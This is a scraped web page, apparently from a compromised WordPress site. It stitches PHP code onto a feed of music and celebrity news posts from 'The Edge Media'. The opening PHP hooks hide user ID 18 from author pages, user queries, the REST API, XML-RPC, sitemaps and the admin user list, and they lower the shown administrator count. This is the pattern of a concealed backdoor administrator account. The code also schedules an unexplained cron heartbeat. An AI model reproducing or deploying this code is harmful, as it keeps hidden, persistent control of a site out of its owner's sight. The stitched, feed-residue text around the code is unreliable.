add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Drummer days are over, says Phil Collins appeared first on The Edge Media.
]]>“I’m kind of physically challenged a bit, which is very frustrating because I’d love to be playing up there,” Collins said in the video interview to promote a comeback tour by the 1970s British progressive rock band Genesis. “I can barely hold a (drum) stick with this hand, so there are certain physical things which get in the way,” Collins said.
It was not clear when the interview was conducted. Representatives for Collins did not immediately return a request for comment on the interview, which raised concerns on social media. The eight-time Grammy winner said his son Nic will play drums on the tour this fall, the first to North America by Genesis in 14 years.
Collins, who had a successful solo career in the 1980s and 1990s with hits like “In the Air Tonight” and “One More Night,” announced his retirement in 2011, but returned to the stage in 2017 for a “Not Yet Dead: Live” series of shows.
In the BBC interview, Collins described the upcoming Genesis tour as putting the band to bed. “We’re all men of our age and I think to some extent it probably is putting it to bed. I think, just generally for me, I don’t know if I want to go out on the road any more,” he said.
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]]>The post Ariana Grande clarifies she is not the one singing on Kanye West’s new album ‘Donda’ appeared first on The Edge Media.
]]>Ariana laid the rumours to rest in a short but sweet message on her stories on Monday and revealed the true singer behind the background vocals. She wrote, “You sound so beautiful @thestalone,” reposting singer Stalone’s Instagram about working on the vocals heard on Donda.
“Vocals under MB Stadium in #atl before the start of #DONDA 2…The entire album is a masterpiece. I’m so grateful,” Stalone had written on her own Instagram post. She also tweeted to share the song’s credits and tell fans how flattered she was that her vocals were compared to Ariana’s.
Ariana has broken numerous Hot 100 records. Grande has a total of sixteen top ten debuts thus far, beginning with her first single ‘The Way’, the lead single from each of her first five studio albums has debuted in the top ten, making her the only artist to achieve this. In 2020, she became the first act to have her first five number-one singles, ‘Thank U, Next’, ‘7 Rings’, ‘Stuck With U’, ‘Rain on Me’, and ‘Positions’ debut at number one; that year, Grande also broke the record for the most number-one debuts.
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]]>The post Arijit Singh to perform in Abu Dhabi after five years appeared first on The Edge Media.
]]>This will be his first concert after five years in Yas Island Abu Dhabi, one of the world’s forefront leisure and entertainment destinations, organized by the Department of Culture and Tourism – Abu Dhabi and Portfolio Managing Events, a leading global event company around the world.
Arjit Singh is known to have successfully bridged the cultural gap between UAE and India contributing his talent to a number of Bollywood hits. Fans will be treated to some of his most popular numbers including ’Tum Hi Ho‘, ’Kabira‘, ’Ae Dil Hai Mushkil‘, and many more, with an array of global musicians joining him on stage. It is an indoor music concert for the Indian diaspora and Bollywood lovers in UAE.
Talking about the event, Arijit Singh stated, “Since the unfortunate coronavirus outbreak, this would be my first onstage performance. I am humbled to be a part of the concert and to be able to continue entertaining my fans. During this troubled time, I couldn’t think of a better way in an attempt to keep the spirits high and heal through music. I always had an experience performing for the warm crowd of UAE. I am quite excited to perform there after five years.
Not new to the Abu Dhabi stage, Arijit Singh is extremely popular in the Indian and Middle Eastern communities living in Abu Dhabi and has set unprecedented examples in the music industry. The tickets for Arijit Singh will start & will go on sale on 30th August 2021 and the capacity of the hall will be reduced to half of its actual space, to maintain social distancing protocols among the crew, members and the guests.
Arijit Singh is confident this collaboration will leave a lasting joy in its audience and be a great distraction in keeping them entertained after so long. It will definitely be a great way to connect with Music lovers across the world.
The world continues to shift on a path of renewed energy and with Abu Dhabi leading the way, Arijit’s live in Concert will be a much-needed source of energy for its patrons.
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]]>The post Rihanna is officially the richest female musician in the world appeared first on The Edge Media.
]]>The magazine reports that the Barbados-born singer, whose real name is Robyn Fenty, derives an estimated 1.4 billion dollars of her fortune from her 50% stake in the Fenty Beauty cosmetics line.
Another source of her wealth is her share of the Savage x Fenty lingerie company and her income as a singer and actress.
Rihanna’s beauty company, of which LVMH (LVMH.PA) owns the other half, is known for its broad range of 50 skin tones, including dark shades for women of colour, which were rare when it launched in 2017. This made it a leader in inclusivity in the industry. The singer of “Umbrella” and “Love the Way You Lie” ranks second behind Oprah as the richest female entertainer, Forbes said.
(With inputs from agencies)
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]]>The post Guru Randhawa all set to make his debut as an actor appeared first on The Edge Media.
]]>The film’s story revolves around the tumultuous journey of a young musician from the depths of anonymity to fortune and status.
Talking about his acting debut, Guru Randhawa shared: “I’m quite excited to explore new horizons and expand my capabilities, as an artist I’ve always strived to discover myself in new and creative ways. Working on this film was quite an instinctive decision and I’m blessed to have this opportunity to showcase my journey and talent.”
“Trying something new always comes with a set of challenges and l’m super thrilled to put in all my hard work into it this dream project. I can’t wait to take my fans on this exciting journey with me and l’m sure it will suprise them beyond bounds,” the “Nain Bengali” singer added.
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]]>The post Neha Kakkar becomes the most followed Indian Musician appeared first on The Edge Media.
]]>The singer shared a long note on social media as she clocked in 60 million followers on the gram. She is the first Indian musician to gain such a huge fan following on the gram, and of course, Neha celebrated it with her husband, Rohanpreet Singh.
Rohanpreet, being the cute husband that he is, arranged a sweet surprise for his wife. He also got her a delicious chocolate cake that she cut to celebrate the big day. The celebrations also included Neha’s friends Roshini and Shreya.
See Neha’s post here :
https://www.instagram.com/tv/CRQQyPWjmFi/?utm_medium=copy_link
“60 Million Pyar! Main Khush Nahin Behad Khush Hoon.. The amount of love you all give Your Nehu can’t be compared with anything! Aap ho toh Neha Kakkar Hai! Thank You.. Each One of You and Specially My Most Special People, My #NeHearts Love You all!!!!Thank You @rohanpreetsingh for always being there and making all my wishes come true since the time you came in my life!!.” read a part of her note.
She further continued and wrote, “Also.. I must thank and mention these two sweethearts too coz they actually put a lot of efforts to surprise me yesterday. God bless you both @roshni0819 & @shrxya_goxl…I #NehaKakkar can proudly say that I’m The #MostFollowedIndianMusician (sic).”
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]]>The post My parents were never okay with me living here by myself, says Shirley Setia appeared first on The Edge Media.
]]>My parents were never okay with me living here by myself. But [that changed] when they saw that so many people love me, especially after my mom attended one concert of mine, long back in Mumbai, and saw so many people loving me in person,” she said, adding that while they didn’t stop her from coming and trying her luck, they always had apprehension about her living all by herself.
Though Setia’s parents were always aware about her popularity in the virtual world, and the trolling that comes with it, but it was the real life experience that actually calmed them down.
“When mom dad saw that in real life it was a completely different scenario, that’s what motivated them… ke theek hai, try karne dete hain kuch time tak, agar hua toh theek hai, nahi toh wapas bula lenge,” she quips.
However, that moment where they had to call her back home never came. Setia gained popularity with her cover versions of songs such as Na tum jaano na hum (Kaho Naa… Pyaar Hai, 2000), Tum Hi Ho (Aashiqui 2, 2013), Sanam Re (Sanam Re) and Bol Do Na Zara (Azhar, both 2016). And at the moment, she’s all charged up about making her Bollywood debut with Nikamma, co-starring Shilpa Shetty Kundra.
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]]>The post Shreya Ghoshal shares a happy memory appeared first on The Edge Media.
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Shreya and her husband Shiladitya Mukhopadhyaya were blessed with their first child Devyaan on May 22. She shared a statement note on her verified social media accounts and thanked fans for their blessings and wishes.

“God has blessed us with a precious baby boy this afternoon. It’s an emotion never felt before. @shiladitya and I along with our families are absolutely overjoyed. “Thank you for your countless blessings for our little bundle of joy,” the 36-year-old singer said in a statement posted on Instagram.
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